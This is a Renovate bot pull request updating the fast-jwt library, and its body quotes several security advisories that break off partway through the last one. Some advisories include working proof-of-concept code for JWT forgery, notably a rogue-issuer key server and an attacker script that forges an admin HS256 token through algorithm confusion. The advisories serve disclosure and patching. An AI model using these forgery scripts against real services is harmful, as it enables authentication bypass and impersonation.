Skip to content

Update dependency fast-jwt to v6 [SECURITY] - #61

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-fast-jwt-vulnerability
Open

Update dependency fast-jwt to v6 [SECURITY]#61
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-fast-jwt-vulnerability

Conversation

@renovate

@renovate renovate Bot commented May 8, 2026

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
fast-jwt ^3.3.2^6.0.0 age confidence

Fast-JWT Improperly Validates iss Claims

CVE-2025-30144 / GHSA-gm45-q3v2-6cf8

More information

Details

Summary

The fast-jwt library does not properly validate the iss claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.

Details

The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid.

Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks.

PoC

Take a server running the following code:

const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')

const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
    jwks.getPublicKey({
        kid: jwt.header.kid,
        alg: jwt.header.alg,
        domain: jwt.payload.iss
    });

const jwtVerifier = createVerifier({
    key: keyFetcher,
    allowedIss: 'https://valid-iss',
});

const app = express();
const port = 3000;

app.use(express.json());

async function verifyToken(req, res, next) {
  const headerAuth = req.headers.authorization.split(' ')
  let token = '';
  if (headerAuth.length > 1) {
    token = headerAuth[1];
  }

  const payload = await jwtVerifier(token);

  req.decoded = payload;
  next();
}

// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
  res.json(req.decoded);
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

Now we build a server that will be used to generate the JWT token and send the verification keys to the victim server:

const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');

const app = express();
const port = 3001;
const host = `http://localhost:${port}/`;

const { publicKey, privateKey } = generateKeyPairSync("rsa", 
    {   modulusLength: 4096,
        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    },
); 
const jwk = pem2jwk(publicKey);

app.use(express.json());

// Endpoint to create token
app.post('/create-token', (req, res) => {
  const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'],  }, privateKey, { algorithm: 'RS256' });
  res.send(token);
});

app.get('/.well-known/jwks.json', (req, res) => {
    return res.json({
        keys: [{
            ...jwk,
            alg: 'RS256',
            use: 'sig',
        }]
    });
})

app.all('*', (req, res) => {
    return res.json({
        "issuer": host,
        "jwks_uri": host + '.well-known/jwks.json'
    });
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});
export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}')
curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN"
Impact

Applications relaying on the validation of the iss claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier.

Solution

Change https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 to a validator tha accepts only string for the value as stated in the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


fast-jwt: Incomplete fix for CVE-2023-48223: JWT Algorithm Confusion via Whitespace-Prefixed RSA Public Key

CVE-2026-34950 / GHSA-mvf2-f6gm-w987

More information

Details

Summary

The fix for GHSA-c2ff-88x2-x9pg (CVE-2023-48223) is incomplete. The publicKeyPemMatcher regex in fast-jwt/src/crypto.js uses a ^ anchor that is defeated by any leading whitespace in the key string, re-enabling the exact same JWT algorithm confusion attack that the CVE patched.

Details

The fix for CVE-2023-48223 (nearform/fast-jwt@15a6e92, v3.3.2) changed the public key matcher from a
plain string used with .includes() to a regex used with .match():

  // Before fix (vulnerable to original CVE)
  const publicKeyPemMatcher = '-----BEGIN PUBLIC KEY-----'
  // .includes() matched anywhere in the string — not vulnerable to whitespace

  // After fix (current code, line 28)
  const publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/
  // ^ anchor requires match at position 0 — defeated by leading whitespace

  In performDetectPublicKeyAlgorithms()
  (https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L126-L137):

  function performDetectPublicKeyAlgorithms(key) {
    const publicKeyPemMatch = key.match(publicKeyPemMatcher)  // no .trim()!

    if (key.match(privateKeyPemMatcher)) {
      throw ...
    } else if (publicKeyPemMatch && publicKeyPemMatch[1] === 'RSA') {
      return rsaAlgorithms      // ← correct path: restricts to RS/PS algorithms
    } else if (!publicKeyPemMatch && !key.includes(publicKeyX509CertMatcher)) {
      return hsAlgorithms        // ← VULNERABLE: RSA key falls through here
    }

When the key string has any leading whitespace (space, tab, \n, \r\n), the ^ anchor fails, publicKeyPemMatch is null, and the RSA
public key is classified as an HMAC secret (hsAlgorithms). The attacker can then sign an HS256 token using the public key as the
HMAC secret — the exact same attack as CVE-2023-48223.

Notably, the private key detection function does call .trim() before matching
https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L79:
const pemData = key.trim().match(privateKeyPemMatcher) // trims — not vulnerable

The public key path does not. This inconsistency is the root cause.

Leading whitespace in PEM key strings is common in real-world deployments:

  • PostgreSQL/MySQL text columns often return strings with leading newlines
  • YAML multiline strings (|, >) can introduce leading whitespace
  • Environment variables with embedded newlines
  • Copy-paste into configuration files
PoC

Victim server (server.js):

  const http = require('node:http');
  const { generateKeyPairSync } = require('node:crypto');
  const fs = require('node:fs');
  const path = require('node:path');
  const { createSigner, createVerifier } = require('fast-jwt');

  const port = 3000;

  // Generate RSA key pair
  const { publicKey, privateKey } = generateKeyPairSync('rsa', { modulusLength: 2048 });
  const publicKeyPem = publicKey.export({ type: 'pkcs1', format: 'pem' });
  const privateKeyPem = privateKey.export({ type: 'pkcs8', format: 'pem' });

  // Simulate real-world scenario: key retrieved from database with leading newline
  const publicKeyFromDB = '\n' + publicKeyPem;

  // Write public key to disk so attacker can recover it
  fs.writeFileSync(path.join(__dirname, 'public_key.pem'), publicKeyFromDB);

  const server = http.createServer((req, res) => {
    const url = new URL(req.url, `http://localhost:${port}`);

    // Endpoint to generate a JWT token with admin: false
    if (url.pathname === '/generateToken') {
      const payload = { admin: false, name: url.searchParams.get('name') || 'anonymous' };
      const signSync = createSigner({ algorithm: 'RS256', key: privateKeyPem });
      const token = signSync(payload);
      res.writeHead(200, { 'Content-Type': 'application/json' });
      res.end(JSON.stringify({ token }));
      return;
    }

    // Endpoint to check if you are the admin or not
    if (url.pathname === '/checkAdmin') {
      const token = url.searchParams.get('token');
      try {
        const verifySync = createVerifier({ key: publicKeyFromDB });
        const payload = verifySync(token);
        res.writeHead(200, { 'Content-Type': 'application/json' });
        res.end(JSON.stringify(payload));
      } catch (err) {
        res.writeHead(401, { 'Content-Type': 'application/json' });
        res.end(JSON.stringify({ error: err.message }));
      }
      return;
    }

    res.writeHead(404);
    res.end('Not found');
  });

  server.listen(port, () => console.log(`Server running on http://localhost:${port}`));

Attacker script (attacker.js):

  const { createHmac } = require('node:crypto');
  const fs = require('node:fs');
  const path = require('node:path');

  const serverUrl = 'http://localhost:3000';

  async function main() {
    // Step 1: Get a legitimate token
    const res = await fetch(`${serverUrl}/generateToken?name=attacker`);
    const { token: legitimateToken } = await res.json();
    console.log('Legitimate token payload:',
      JSON.parse(Buffer.from(legitimateToken.split('.')[1], 'base64url')));

    // Step 2: Recover the public key
    // (In the original advisory: python3 jwt_forgery.py token1 token2)
    const publicKey = fs.readFileSync(path.join(__dirname, 'public_key.pem'), 'utf8');

    // Step 3: Forge an HS256 token with admin: true
    // (In the original advisory: python jwt_tool.py --exploit k -pk public_key token)
    const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');
    const payload = Buffer.from(JSON.stringify({
      admin: true, name: 'attacker',
      iat: Math.floor(Date.now() / 1000),
      exp: Math.floor(Date.now() / 1000) + 3600
    })).toString('base64url');
    const signature = createHmac('sha256', publicKey)
      .update(header + '.' + payload).digest('base64url');
    const forgedToken = header + '.' + payload + '.' + signature;

    // Step 4: Present forged token to /checkAdmin
    // 4a. Legitimate RS256 token — REJECTED
    const legRes = await fetch(`${serverUrl}/checkAdmin?token=${encodeURIComponent(legitimateToken)}`);
    console.log('Legitimate RS256 token:', legRes.status, await legRes.json());

    // 4b. Forged HS256 token — ACCEPTED
    const forgedRes = await fetch(`${serverUrl}/checkAdmin?token=${encodeURIComponent(forgedToken)}`);
    console.log('Forged HS256 token:', forgedRes.status, await forgedRes.json());
  }

  main().catch(console.error);

Running the PoC:

Terminal 1

node server.js

Terminal 2

node attacker.js

Output:
Legitimate token payload: { admin: false, name: 'attacker', iat: 1774307691 }
Legitimate RS256 token: 401 { error: 'The token algorithm is invalid.' }
Forged HS256 token: 200 { admin: true, name: 'attacker', iat: 1774307691, exp: 1774311291 }

The legitimate RS256 token is rejected (the key is misclassified so RS256 is not in the allowed algorithms), while the attacker's
forged HS256 token is accepted with admin: true.

Impact

Applications using the RS256 algorithm, a public key with any leading whitespace before the PEM header, and calling the verify
function without explicitly providing an algorithm, are vulnerable to this algorithm confusion attack which allows attackers to
sign arbitrary payloads which will be accepted by the verifier.
This is a direct bypass of the fix for CVE-2023-48223 / GHSA-c2ff-88x2-x9pg. The attack requirements are identical to the original
CVE: the attacker only needs knowledge of the server's RSA public key (which is public by definition).

Severity

  • CVSS Score: 9.1 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


fast-jwt: Cache Confusion via cacheKeyBuilder Collisions Can Return Claims From a Different Token (Identity/Authorization Mixup)

CVE-2026-35039 / GHSA-rp9m-7r4c-75qg

More information

Details

NOTE: While the library exposes a mechanism which could introduce the vulnerability, this issue is created by developer-supplied code and not by the library itself. We will add a warning and some education for users around the possible issues however since the defaults work we will not be updating the library beyond that for this advisory.

Impact

Setting up a custom cacheKeyBuilder method which does not properly create unique keys for different tokens can lead to cache collisions. This could cause tokens to be mis-identified during the verification process leading to:

  • Valid tokens returning claims from different valid tokens
  • Users being mis-identified as other users based on the wrong token

This could result in:

  • User impersonation - UserB receives UserA's identity and permissions
  • Privilege escalation - Low-privilege users inherit admin-level access
  • Cross-tenant data access - Users gain access to other tenants' resources
  • Authorization bypass - Security decisions made on wrong user identity
Affected Configurations

This vulnerability ONLY affects applications that BOTH:

  1. Enable caching using the cache option
  2. Use custom cacheKeyBuilder functions that can produce collisions

VULNERABLE examples:

// Collision-prone: same audience = same cache key
cacheKeyBuilder: (token) => {
  const { aud } = parseToken(token)
  return `aud=${aud}`
}

// Collision-prone: grouping by user type
cacheKeyBuilder: (token) => {
  const { aud } = parseToken(token)
  return aud.includes('admin') ? 'admin-users' : 'regular-users'
}

// Collision-prone: tenant + service grouping
cacheKeyBuilder: (token) => {
  const { iss, aud } = parseToken(token)
  return `${iss}-${aud}`
}

SAFE examples:

// Default hash-based (recommended)
createVerifier({ cache: true })  // Uses secure default

// Include unique user identifier
cacheKeyBuilder: (token) => {
  const { sub, aud, iat } = parseToken(token)
  return `${sub}-${aud}-${iat}`
}

// No caching (always safe)
createVerifier({ cache: false })
Not Affected
  • Applications using default caching
  • Applications with caching disabled
Assessment Guide

To determine if you're affected:

  1. Check if caching is enabled: Look for cache: true or cache: in verifier configuration
  2. Check for custom cache key builders: Look for cacheKeyBuilder function in configuration
  3. Analyze collision potential: Review if your cacheKeyBuilder can produce identical keys for different users/tokens
  4. If no custom cacheKeyBuilder: You are NOT affected (default is safe)
Mitigations

Mitigations include:

  • Ensure uniqueness of keys produced in cacheKeyBuilder
  • Remove custom cacheKeyBuilder method
  • Disable caching

fast-jwt allows enabling a verification cache through the cache option.
The cache key is derived from the token via cacheKeyBuilder.

When a custom cacheKeyBuilder produces collisions between different tokens, the verifier may return the cached payload of a previous token instead of validating and returning the payload of the current token.

This results in cross-token payload reuse and identity confusion.

Two distinct valid JWTs can be verified successfully but mapped to the same cached entry, causing the verifier to return claims belonging to a different token.

This affects authentication and authorization decisions when applications trust the returned payload.

Affected component

src/verifier.js

Relevant logic:

cache enabled via createCache

cache population via cacheSet

lookup based on cacheKeyBuilder(token)

cached payload returned without re-verification

Impact

Identity / authorization confusion via cache collision.

If two tokens generate the same cache key:

token A is verified → payload stored in cache

token B is verified → cache hit occurs

verifier returns payload from token A instead of B

Observed effect:

subject mismatch

claim mismatch

authorization decision performed on wrong identity

Potential real-world consequences:

user impersonation (logical)

privilege confusion

incorrect RBAC evaluation

gateway / middleware auth inconsistencies

This is especially dangerous when:

cache is enabled (recommended for performance)

custom cacheKeyBuilder is used

identity claims (sub / aud / iss) drive authorization

Root cause

The verifier assumes the cache key uniquely identifies the token and its claims.

However:

cacheKeyBuilder is user-controlled

collisions are not detected

cache entries store decoded payload

cached payload is returned without binding validation

This creates a trust boundary break between:

token → cache key → cached payload

Proof of concept

Environment:

fast-jwt: 6.1.0

Node.js: v24.13.1

PoC:

const { createSigner, createVerifier } = require('fast-jwt')

const sign = createSigner({ key: 'secret' })

// Two distinct tokens
const t1 = sign({ sub: 'userA', aud: 'admin' })
const t2 = sign({ sub: 'userB', aud: 'admin' })

// Deliberately unsafe cache key builder (collision)
const verify = createVerifier({
key: 'secret',
cache: true,
cacheKeyBuilder: () => 'static-key'
})

console.log('verify t1')
const p1 = verify(t1)
console.log('t1 PASS sub=', p1.sub)

console.log('verify t2')
const p2 = verify(t2)
console.log('t2 PASS sub=', p2.sub)

console.log('verify t2 again')
const p3 = verify(t2)
console.log('t2-again PASS sub=', p3.sub)

console.log('verify t1 again')
const p4 = verify(t1)
console.log('t1-again PASS sub=', p4.sub)

Observed output:

verify t1
t1 PASS sub= userA

verify t2
t2 PASS sub= userA

verify t2 again
t2-again PASS sub= userA

verify t1 again
t1-again PASS sub= userA

The verifier returns payload from userA when verifying userB.

Expected behavior

Cache must not allow returning claims from a different token.

Verification must remain bound to the actual token being validated.

Even if cache collisions occur, the verifier should:

revalidate signature

re-decode payload

or invalidate cache entry

Why this is not “just misuse”

This is not merely a user mistake.

Reasons:

fast-jwt explicitly exposes cacheKeyBuilder as an extension point.

The documentation suggests performance tuning via custom key builders.

No safeguards exist against collisions.

No verification binding is performed between:

cached payload

original token

The verifier trusts cache output as authoritative identity.

This creates a security-sensitive invariant:

"cache key uniqueness"

which is neither enforced nor validated.

Security-critical libraries must assume extension hooks can be misused and implement defensive checks, especially when identity decisions are derived from cached values.

Security classification

logical authorization flaw

cache confusion vulnerability

identity boundary break

Closest CWE:

CWE-440 — Expected Behavior Violation

Suggested fix (minimal and safe)

Bind cache entries to token integrity.

Option A — safest:

Store token hash along with payload and verify match before returning cache.

Conceptual patch:

const tokenHash = hashToken(token)

cache.set(key, { tokenHash, payload })

...

const entry = cache.get(key)

if (entry && entry.tokenHash === hashToken(token)) {
return entry.payload
}

Option B — simpler:

Disable cache usage when custom cacheKeyBuilder is provided.

Option C — defensive:

Always re-validate signature when cache hit occurs.

Notes

Default cacheKeyBuilder is safe (hash-based).

Issue appears when custom builders are used — a documented and supported feature.

Impact increases in:

API gateways

auth middleware

RBAC layers relying on payload.sub / payload.aud

This vulnerability is independent from:

RegExp statefulness issue

ReDoS claim validation issue

It is a separate flaw in cache design and trust model.

PoC did on my computer:
'use strict'

const fs = require('node:fs')
const path = require('node:path')
const { createSigner, createVerifier } = require('./src')

function nowSec() {
return Math.floor(Date.now() / 1000)
}

const sign = createSigner({ key: 'secret' })
const t1 = sign({ sub: 'userA', aud: 'admin', iat: nowSec() })
const t2 = sign({ sub: 'userB', aud: 'admin', iat: nowSec() })

function badKeyBuilder() {
return 'aud=admin'
}

const verify = createVerifier({
key: 'secret',
cache: true,
cacheTTL: 60000,
cacheKeyBuilder: badKeyBuilder
})

function run(tok) {
try {
const out = verify(tok)
return { ok: true, sub: out.sub, aud: out.aud }
} catch (e) {
return { ok: false, code: e.code || String(e), message: e.message }
}
}

const results = []
results.push({ step: 'verify(t1)', token: 't1', result: run(t1) })
results.push({ step: 'verify(t2)', token: 't2', result: run(t2) })
results.push({ step: 'verify(t2) again', token: 't2', result: run(t2) })
results.push({ step: 'verify(t1) again', token: 't1', result: run(t1) })

const evidence = {
title: 'fast-jwt cache confusion when cacheKeyBuilder collisions occur',
environment: {
node: process.version,
fastJwt: require('./package.json').version
},
config: {
cache: true,
cacheTTL: 60000,
cacheKeyBuilder: "returns constant key 'aud=admin' (realistic collision pattern)"
},
tokens: {
t1: { claims: { sub: 'userA', aud: 'admin' }, jwt: t1 },
t2: { claims: { sub: 'userB', aud: 'admin' }, jwt: t2 }
},
observed: results
}

const outPath = path.join(process.cwd(), 'evidence-cache-keybuilder-confusion.json')
fs.writeFileSync(outPath, JSON.stringify(evidence, null, 2))
console.log('Wrote evidence to:', outPath)

for (const r of results) {
console.log(r.step, '=>', r.result.ok ? PASS sub=${r.result.sub} : FAIL ${r.result.code})
}

Output:
PS C:\Users\Franciny Rojas\Desktop\crypto-research\fast-jwt> node poc_cache_keybuilder_confusion_evidence.js
Wrote evidence to: C:\Users\Franciny Rojas\Desktop\crypto-research\fast-jwt\evidence-cache-keybuilder-confusion.json
verify(t1) => PASS sub=userA
verify(t2) => PASS sub=userA
verify(t2) again => PASS sub=userA
verify(t1) again => PASS sub=userA
PS C:\Users\Franciny Rojas\Desktop\crypto-research\fast-jwt>

Severity

  • CVSS Score: 9.1 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


fast-jwt: Stateful RegExp (/g or /y) causes non-deterministic allowed-claim validation (logical DoS)

CVE-2026-35040 / GHSA-3j8v-cgw4-2g6q

More information

Details

Impact

Using certain modifiers on RegExp objects in the allowedAud, allowedIss, allowedSub, allowedJti, or allowedNonce options in verify functions can cause certain unintended behaviours. This is because some modifiers are stateful and will cause failures in every second verification attempt regardless of the validity of the token provided.

Such modifiers are:

  • /g : Global matching
  • /y : Sticky matching

This does NOT allow invalid tokens to be accepted, only for valid tokens to be improperly rejected in some configurations. Instead it causes 50% of valid authentication requests to fail in an alternating pattern, leading to:

  • Intermittent user authentication failures
  • Potential retry storms in applications
  • Operational monitoring alerts
Affected Configurations
This vulnerability ONLY affects applications that:
  • Use RegExp objects (not strings) in the allowedAud, allowedIss, allowedSub, allowedJti, or allowedNonce options
  • Use stateful RegExp modifiers such a /g or /y

Example: allowedAud: /abc/g ← IMPACTED
Example: allowedAud: "/abc/" ← SAFE

Not Affected
  • Applications using string patterns for audience validation (most common)
  • Applications using RegExp patterns without stateful modifiers
Assessment Guide

To determine if you're affected:

Check if allowedAud, allowedIss, allowedSub, allowedJti, or allowedNonce options use RegExp objects (/pattern/ or new RegExp())
If yes, review the pattern for stateful modifiers like /g, /y
If no RegExp usage or no stateful modifiers, you are NOT affected

Mitigation Options

While a fix will be coming in the next version of the package you can take steps to mitigate the issue immediately by removing any such modifiers (/g, /y) from the regex.


Summary

fast-jwt accepts RegExp for allowedAud, allowedIss, allowedSub, allowedJti, and allowedNonce.

If the provided regular expression uses the g (global) or y (sticky) flag, verification becomes non-deterministic: the same valid token alternates between acceptance and rejection across successive calls.

This occurs because RegExp.prototype.test() is stateful when g/y is set (it mutates lastIndex), and fast-jwt reuses the same RegExp object without resetting lastIndex.

Affected component

src/verifier.js

ensureStringClaimMatcher() returns the RegExp object directly.

validateClaimValues() performs repeated a.test(v) calls without resetting lastIndex.

Impact

Logical denial-of-service / authentication flapping.

A valid signed JWT can be intermittently rejected.

Causes unpredictable authentication outcomes across repeated verification calls.

Can trigger retry storms and cascading failures in API gateways and authentication middleware.

Affects any deployment that configures allowed* using RegExp and includes g or y flags.

Root cause

validateClaimValues() uses: allowed.some(a => a.test(v))

When a is a RegExp with g or y, a.test() mutates a.lastIndex.

Subsequent calls against the same input can return different results.

Proof of concept

Environment

  • fast-jwt: 6.1.0 (repo HEAD)
  • Node.js: v24.13.1

PoC
const { createSigner, createVerifier } = require('fast-jwt')

const sign = createSigner({ key: 'secret' })
const token = sign({ aud: 'admin', iss: 'issuer' })

function run(name, opts) {
const verify = createVerifier({ key: 'secret', ...opts })
console.log('\n==', name)
for (let i = 0; i < 8; i++) {
try { verify(token); console.log(i, 'PASS') }
catch (e) { console.log(i, 'FAIL', e.code || e.message) }
}
}

run('allowedAud global regex', { allowedAud: /^admin$/g })
run('allowedIss global regex', { allowedIss: /^issuer$/g })
run('control (non-global regex)', { allowedAud: /^admin$/ })

Observed behavior

  • allowedAud with /g alternates PASS/FAIL across calls
  • allowedIss with /g alternates PASS/FAIL across calls
  • control regex (no g/y) is deterministic and always PASS

Expected behavior

Validation must be deterministic.

The same token under the same verifier configuration must always yield the same decision.

Suggested fix (minimal and safe)

Wrap RegExp matchers inside ensureStringClaimMatcher() to reset lastIndex before calling test():
if (r instanceof RegExp) {
return { test: v => { r.lastIndex = 0; return r.test(v) } }
}

This preserves semantics for non-global regexes, makes g/y deterministic, and avoids changes in the rest of the verifier logic.

Security classification

Logical DoS / authentication reliability failure.

This can be weaponized to produce production outages via retry storms and auth instability.

Why this is not “misuse”

  • The library explicitly accepts RegExp for allowed* claim validation.
  • The behavior difference is caused by internal state mutation of RegExp.test().
  • The same token, same verifier config, same runtime yields different outcomes.
  • Security decisions must be deterministic; non-determinism at the verification layer is a correctness flaw.
  • Consumers cannot reliably defend against this unless the library normalizes matcher state.

Notes

  • Affects allowedAud, allowedIss, allowedSub, allowedJti, allowedNonce equally (shared matcher logic).
  • Independent from the previously reported ReDoS; this is a determinism and correctness failure that can still produce production DoS effects.

PoC Code:
'use strict'

/**

  • PoC: Stateful RegExp flags (g/y) cause non-deterministic allowed-claim validation
  • fast-jwt reuses the same RegExp object; RegExp.test() mutates lastIndex when g/y is set.
  • This script prints a human-readable log AND writes evidence to JSON.
  • Usage:
  • node poc_regex_state_evidence.js
    */

const fs = require('node:fs')
const path = require('node:path')
const { createSigner, createVerifier } = require('fast-jwt')

const OUT_JSON = path.join(process.cwd(), 'evidence-regex-stateful-fastjwt.json')
const OUT_LOG = path.join(process.cwd(), 'evidence-regex-stateful-fastjwt.log')

// Make a stable, valid token
const sign = createSigner({ key: 'secret' })
const token = sign({
aud: 'admin',
iss: 'issuer',
sub: 'subject',
jti: 'id-123',
nonce: 'nonce-xyz'
})

function runCase(name, verifierOpts, iterations = 12) {
const verify = createVerifier({ key: 'secret', ...verifierOpts })

const results = []
for (let i = 0; i < iterations; i++) {
try {
verify(token)
results.push({ i, ok: true })
} catch (e) {
results.push({ i, ok: false, code: e.code || null, message: e.message || String(e) })
}
}

return results
}

function summarize(results) {
const seq = results.map(r => (r.ok ? 'PASS' : 'FAIL')).join(' ')
const pass = results.filter(r => r.ok).length
const fail = results.length - pass
return { pass, fail, seq }
}

function printCase(name, opts, results) {
const s = summarize(results)
const lines = []
lines.push(== ${name})
lines.push(opts: ${JSON.stringify(opts)})
lines.push(PASS=${s.pass} FAIL=${s.fail})
lines.push(sequence: ${s.seq})
lines.push('')
return lines.join('\n')
}

function main() {
const meta = {
poc: 'stateful-regexp-allowed-claims',
package: 'fast-jwt',
node: process.version,
timestamp: new Date().toISOString(),
note: 'RegExp.test is stateful when g/y flags are set; lastIndex mutation causes alternating PASS/FAIL.'
}

// Cases: g/y should flap, control should be stable
const cases = [
{
name: 'allowedAud with global RegExp /g (expected: flapping)',
opts: { allowedAud: /^admin$/g }
},
{
name: 'allowedAud with sticky RegExp /y (expected: flapping)',
opts: { allowedAud: /^admin$/y }
},
{
name: 'allowedIss with global RegExp /g (expected: flapping)',
opts: { allowedIss: /^issuer$/g }
},
{
name: 'allowedSub with global RegExp /g (expected: flapping)',
opts: { allowedSub: /^subject$/g }
},
{
name: 'allowedJti with global RegExp /g (expected: flapping)',
opts: { allowedJti: /^id-123$/g }
},
{
name: 'allowedNonce with global RegExp /g (expected: flapping)',
opts: { allowedNonce: /^nonce-xyz$/g }
},
{
name: 'CONTROL: allowedAud with non-global RegExp (expected: stable PASS)',
opts: { allowedAud: /^admin$/ }
}
]

const evidence = {
meta,
token: {
alg: 'HS256 (autodetected by fast-jwt)',
signed: true,
jwt: token
},
cases: []
}

let log = ''
for (const c of cases) {
const results = runCase(c.name, c.opts, 12)
const s = summarize(results)

evidence.cases.push({
  name: c.name,
  opts: c.opts,
  iterations: results.length,
  pass: s.pass,
  fail: s.fail,
  sequence: s.seq,
  results
})

log += printCase(c.name, c.opts, results)

}

fs.writeFileSync(OUT_JSON, JSON.stringify(evidence, null, 2))
fs.writeFileSync(OUT_LOG, log)

console.log(log)
console.log([+] Wrote JSON evidence: ${OUT_JSON})
console.log([+] Wrote LOG evidence : ${OUT_LOG})
}

main()

Output:
PS C:\Users\Franciny Rojas\Desktop\crypto-research\fast-jwt> node .\poc_regex_state_evidence.js
== allowedAud with global RegExp /g (expected: flapping)
opts: {"allowedAud":{}}
PASS=6 FAIL=6
sequence: PASS FAIL PASS FAIL PASS FAIL PASS FAIL PASS FAIL PASS FAIL
== allowedAud with sticky RegExp /y (expected: flapping)
opts: {"allowedAud":{}}
PASS=6 FAIL=6
sequence: PASS FAIL PASS FAIL PASS FAIL PASS FAIL PASS FAIL PASS FAIL
== allowedIss with global RegExp /g (expected: flapping)
opts: {"allowedIss":{}}
PASS=6 FAIL=6
sequence: PASS FAIL PASS FAIL PASS FAIL PASS FAIL PASS FAIL PASS FAIL
== allowedSub with global RegExp /g (expected: flapping)
opts: {"allowedSub":{}}
PASS=6 FAIL=6
sequence: PASS FAIL PASS FAIL PASS FAIL PASS FAIL PASS FAIL PASS FAIL
== allowedJti with global RegExp /g (expected: flapping)
opts: {"allowedJti":{}}
PASS=6 FAIL=6
sequence: PASS FAIL PASS FAIL PASS FAIL PASS FAIL PASS FAIL PASS FAIL
== allowedNonce with global RegExp /g (expected: flapping)
opts: {"allowedNonce":{}}
PASS=6 FAIL=6
sequence: PASS FAIL PASS FAIL PASS FAIL PASS FAIL PASS FAIL PASS FAIL
== CONTROL: allowedAud with non-global RegExp (expected: stable PASS)
opts: {"allowedAud":{}}
PASS=12 FAIL=0
sequence: PASS PASS PASS PASS PASS PASS PASS PASS PASS PASS PASS PASS

[+] Wrote JSON evidence: C:\Users\Franciny Rojas\Desktop\crypto-research\fast-jwt\evidence-regex-stateful-fastjwt.json
[+] Wrote LOG evidence : C:\Users\Franciny Rojas\Desktop\crypto-research\fast-jwt\evidence-regex-stateful-fastjwt.log
PS C:\Users\Franciny Rojas\Desktop\crypto-research\fast-jwt>

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


fast-jwt: JWT auth bypass due to empty HMAC secret accepted by async key resolver

CVE-2026-44351 / GHSA-gmvf-9v4p-v8jc

More information

Details

Summary

A critical authentication-bypass vulnerability in fast-jwt's async key-resolver flow allows any unauthenticated attacker to forge arbitrary JWTs that are accepted as authentic. When the application's key resolver returns an empty string (''), for example via the common keys[decoded.header.kid] || '' JWKS-style fallback, fast-jwt converts it to a zero-length Buffer, hands it to crypto.createSecretKey, derives allowedAlgorithms = ['HS256','HS384','HS512'] from it, and then verifies the token's signature against an empty-key HMAC. The attacker simply computes HMAC-SHA256(key='', input='${header}.${payload}'), which Node accepts without complaint — and the verifier returns the attacker-chosen payload (sub, admin, scopes, etc.) as authentic. Reproducible 100% against the current latest release fast-jwt@6.2.3.

Preconditions

For this issue to occur the following MUST ALL be true:

  1. The application developer (library consumer) uses an asynchronous callback function to set the key (e.g. createVerifier({key: async (decoded) => ... }))
  2. The response from the async callback MUST return an empty string '' OR zero-length buffer (e.g. Buffer.alloc(0)). Any other empty/missing return values (e.g. null, undefined) do not trigger this issue
  3. The library configuration must allow HMAC signatures. This is the default for the library.
  4. The bad actor MUST have signed their token with an empty string. This is a trivial task and requires no special knowledge.
  5. All other aspects of the token (e.g. EXP, IAT claims) MUST be valid. This issue ONLY affects signature checking and all other checks remain enforced.
Details

src/verifier.js prepareKeyOrSecret (lines 33-39):

function prepareKeyOrSecret(key, isSecret) {
  if (typeof key === 'string') {
    key = Buffer.from(key, 'utf-8')
  }
  return isSecret ? createSecretKey(key) : createPublicKey(key)   // ← no length check
}

src/verifier.js async key-resolver flow (lines 429-468):

getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
  ...
  if (typeof currentKey === 'string') {
    currentKey = Buffer.from(currentKey, 'utf-8')   // '' → Buffer.alloc(0)
  } else if (!(currentKey instanceof Buffer)) {
    return callback(... 'string or buffer'...)
  }

  try {
    const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
    // detectPublicKeyAlgorithms('') hits the `!publicKeyPemMatch && !X509`
    // branch → returns hsAlgorithms = ['HS256','HS384','HS512']

    if (validationContext.allowedAlgorithms.length) {
